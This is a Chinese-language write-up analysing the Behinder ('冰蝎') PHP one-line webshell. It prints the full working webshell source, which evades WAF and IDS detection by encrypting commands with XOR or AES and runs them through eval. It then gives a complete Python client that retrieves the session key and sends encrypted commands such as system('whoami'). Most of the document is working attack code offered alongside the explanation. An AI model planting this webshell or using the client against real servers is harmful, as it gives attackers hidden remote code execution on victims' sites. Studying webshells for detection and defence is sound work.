“冰蝎”php一句话木马分析
“冰蝎”是什么?它是一款动态二进制加密网站管理客户端,它可以在HTTP明文协议中建立加密隧道,可以用于躲避传统的WAF、IDS等设备的检测。项目地址:
https://github.com/rebeyond/Behinder
“冰蝎”一句话木马可由Java、php、.net等语言来实现,我们以php为例来看这种新型的php一句话木马的实现:
<?php
@error_reporting(0);
session_start();
//如果接收到pass参数,则会生成16位的随机秘钥,存储到session中
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
//如果没接收到pass参数,则利用存储到session的秘钥进行解密
else
{
$key=$_SESSION['k'];
//接收POST来的加密后的待执行命令
$post=file_get_contents("php://input");
//如果不能加载openssl扩展,则使用base64解码
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
//使用openssl进行AES解密
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
/*
将解密后的$Ppost以`|`分割为数组;例如$post为assert|eval('phpinfo();'),那么分割后为:
array("assert", "eval('phpinfo();')")
*/
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
//创建C类,利用__construct中的eval来执行解密后的值
@new C($params);
}
?>
生成密钥
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
以get的形式访问木马,就会得到一个16位的密钥,生成的方式很简单
substr(md5(uniqid(rand())),16);
在服务器上的session
解密代码
这里面有两种解密的方式:
如果服务端开启了openssl 直接使用AES128加密方式 密钥已知
如果没有使用openssl直接使用代码和key异或
我们今天先来研究第二种加密的方式,简单的base64解密之后异或
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
代码执行
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
这一部分也比较简单
先使用|拆解
然后执行第儿部分的代码
以上三个方面就是对冰蝎服务端的分析了,要是想使用python作为简单的服务端的话,按照逆向思维的步骤其实很简单也有三个步骤:
代码构造
直接在页面上就可以获取:类似这样
key = s.get(url).text
使用php写了写解密的代码
解密的代码如下:
<?php
{
$key = 'ef74d2c21f1b391a';
$post = 'B0RHAUAXTlQQUA4bW1ASAFADawBXAF1VAxlFaW5/Dgcfdl88Ay10ZFd/KGcJBAMvVERaPGYQDxZPGFk=';
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15]; }
print $post;
}
?>
最后得到的结果是
assert|eval(base64_decode('ZWNobyAkX1NFU1NJT05bJ2snXTs='));
也就说,我们也执行的代码的数据格式就是这个样子的,
assert|eval(base64_decode('ZWNobyAkX1NFU1NJT05bJ2snXTs='));
首先是加密
原封不动的解密一下就好:
一个数连续两次异或另外一个数还是他自己,类似这样的函数:
def jiami(key,text):
miwen = ''
for i in range(0,len(text)):
miwen = miwen+chr(ord(text[i])^ord(key[((i+1)&15)]))
return base64.b64encode(miwen.encode("utf-8"))
然后是传输
post传输
类似这样
payload = miwen
req = s.post(host,data = payload)
python连接冰蝎脚本
import requests
import sys
import os
import re
import base64
host = "http://localhost/bingxie/muma.php"
pwd = 'pass'
cmd = "system('whoami');"
cmd = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
cmd = "assert|eval(base64_decode('{}'));".format(cmd)
def jiami(key,text): #解密
miwen = ''
for i in range(0,len(text)):
miwen = miwen+chr(ord(text[i])^ord(key[((i+1)&15)]))
return base64.b64encode(miwen.encode("utf-8"))
s = requests.Session()
url = host+"?"+pwd+"=1"
print(url)
key = s.get(url).text
miwen = str(jiami(key,cmd))[2:-1]
print(miwen)
payload = miwen
req = s.post(host,data = payload)
print(req.content.decode('utf-8'))
参考文章:
https://www.jianshu.com/p/fe8e2c493ffe
1/18/2019-11-18-%E8%AE%B0%E4%B8%80%E6%AC%A1%E2%80%9C%E5%86%B0%E8%9D%8E%E2%80%9D%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90/)